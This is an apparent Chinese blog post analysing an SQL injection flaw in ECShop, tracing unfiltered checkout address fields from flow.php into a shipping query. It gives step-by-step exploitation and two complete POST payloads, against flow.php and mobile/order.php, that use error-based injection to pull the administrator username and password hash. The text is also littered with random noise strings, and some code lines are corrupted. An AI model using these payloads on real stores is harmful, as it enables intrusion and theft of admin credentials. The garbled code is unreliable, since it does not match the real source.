ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

    /includes/lib_order.php

3 Z) @& k7 B3 ?8 h% ?    关键函数：
7 |. L' y! p$ |4 _: k


01     function available_shipping_list($region_id_list)

02 {
2 V4 l( y9 R% Q4 A
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

& D6 A" ?* ^+ J+ P) p04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% f2 C4 h+ d( k' [, S! j( ^/ _$ I
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
5 }- E8 f4 B$ n1 a1 a0 `' u
6 I0 k5 t* K% ]" N" J1 P07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
' g1 E' o5 E+ |( ~) W+ ^  U
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
$ X% V9 x* j( p' m; |0 B
+ |' \  H& Q3 [7 H$ V# j09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
* l* K# ]/ x) t, @
11     return $GLOBALS['db']->getAll($sql);

12 }

0 {$ u$ ^3 x: }) n# Z4 Y: E显然对传入的参数没有任何过滤就带入了查询语句。
7 j6 r3 g  J' Y5 p
下面我们追踪这个函数在flow.php中：
第531行：   

4 e1 U0 U! b2 M0 {" o1 $shipping_list     = available_shipping_list($region);


, ]" i9 j  ]  Y3 Z; k1 U/ g
9 Z& ^$ m( m0 _" k/ b9 n- I

再对传入变量进行追踪：
! n, W3 s  o! k
+ G- {7 O+ {! ~- F2 B4 ?, Z! k第530行：   
* X, }& i" I* D. ?  T7 o
# T. W5 }3 Y; h9 e% S. D1 M1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
' A! V( x1 }7 c2 `




第473行：        

( l3 H7 {- s/ c0 l, N( e! b1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

/ R5 Q; \; n  Z  w1 f/includes/lib_order.php
3 o9 {: }3 v- u6 I8 _. L8 }: @4 `
; w. E1 I/ I: g8 [

/ ~3 p5 o7 o! U: r* c) ?
% s# \/ b, P$ m6 B, r) X
! `! i7 O: ^- T, F1 ?01 function get_consignee($user_id)

02 {

% C  F2 w2 g8 i% L5 o03     if (isset($_SESSION['flow_consignee']))
0 W& I  ^1 H  W- F$ f* v. K8 r
# w) r$ |9 w! J6 c2 a04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

: E  _  o3 \$ I' o, B" K$ Z07         return $_SESSION['flow_consignee'];
2 Q. U0 z6 D! n3 H$ a
+ @: q+ M7 U6 Q& z( H8 ?( [6 Y08     }
' V' O$ T5 B3 l9 G4 O
09     else

10     {

' o/ g- b! g8 T+ m- ~11         /* 如果不存在，则取得用户的默认收货人信息 */
" f8 p/ K7 G% ?
) ]4 T% `9 R" `; ~: |* k) I+ M12         $arr = array();

4 C$ q$ s8 C- h( i" Q4 r( `13   

14         if ($user_id > 0)

15         {
9 o. a5 D! j9 u! B  V  p: W
( d/ @& K; h' W! g& b6 {! k  C* C16             /* 取默认地址 */
* f+ J" y. j& r/ l$ ^
17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ p3 E2 C# q# U
' N2 k% [: A' A' s' Z, Z% E19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

  _- [. ^" S. |2 F20   
% O5 H2 {0 Z% n
21             $arr = $GLOBALS['db']->getRow($sql);
4 Z) D' F8 K# @% W
22         }
9 C4 J9 N, E: I1 u
2 j* R  }0 s# s1 C23   
7 o5 E$ [% y" C# L' H
24         return $arr;
: T  p3 C8 ?4 Y# z* S3 c% \
25     }

26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
5 w6 c2 c1 c9 h4 S3 M7 X" I8 p

6 E# X' J) `) ]3 Y5 N
关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

/ \4 g! `9 X) T# l) \8 W1 z+ a这里对传入参数反转义存入$_SESSION中。
2 j. W  L0 B2 m: t' t

: G4 g! v3 A$ a2 Q& h5 Z% ^4 Y% E
) Z" `3 z" C3 d0 b5 y" V  o然后看下：
! O. K9 ~2 K; f' N0 I, b  [


   

01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
8 T9 D$ _: \! r! K& X$ e  Y* G
1 q' w+ g" X# \/ I: x6 O6 S! o03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
, w) h0 R2 O- c! N; F1 m+ ^
' b1 L" p- [& p0 }- `' Y5 e9 b04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
) z  ?5 b9 K' L) V6 [7 W  s
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
/ D. H8 d9 X& P9 P. I
* I8 c7 r7 k. w8 H5 ?07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
/ U- P  ?' W& _- V' C( J% V
* d. J6 n8 K+ p08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
9 N: ]. ?0 k7 G+ @. h; z" p
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
9 A3 B& b% {3 R% O& }
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

7 l; A/ V, M8 }2 i11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

  G' S3 A% {& y) j12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
1 Q6 q, E  y$ n
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% ]: d& v5 D; H6 x' ]
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
( j7 u. E/ N) l" B$ m
15     );
" A2 w7 y" U4 j9 B
7 T* k: S; w; c0 @好了注入就这样出现了。
( w( x, ^: f& C5 ~/ s
7 m6 O0 w. Q2 K# A==================

; G& _- W  r  ]8 {注入测试：

# x4 M% |/ z+ u/ a+ c环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
0 i: Q3 R" ?, J6 J4 {% F
8 C4 r, n( Z0 h2 V$ @+ U
" W# A3 N- P2 f8 N6 p, v
1.首先需要点击一个商品加入购物车
, M$ E/ m  f4 H
3 B; M" t5 ^3 r& ]4 o1 g2.注册一个会员帐号

7 F1 n  F6 I( T/ f4 C3.post提交数据
+ |/ P$ M; E& F/ S/ b

, ?, R) h6 ?0 A. S5 n) d8 Z0 \
1 http://127.0.0.1/ecshop/flow.php
/ ], o" ?2 G0 m, R6 g
- @$ A, u: A3 k0 n5 ?2   
; {& I3 C/ Y9 G2 C
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
2 y4 m" r9 d) f7 r
& g/ L8 V2 N( r2 D3 n我们搜寻关键函数function available_shipping_list()
  \7 U- ?2 Z7 W: X9 V+ u" |
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
$ E. z  O9 S+ f+ v1 \* G# V& v
) Q) m+ n7 `3 P( r) k, p/ L  t利用exp:
  f' I* r, w2 B9 Q7 V( I
1.点击一个商品，点击购买商标
& I1 [- d; W, A/ E* {9 u! @9 L
2.登录会员帐号
: J) Y# |3 K' j$ V- k- q- r
3.post提交：

# w) q% {. ^* S- }http://127.0.0.1/ecshop/mobile/order.php
% Q% f$ Z" Q, D5 N) J* V


: m/ k5 L# C( v0 k3 kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=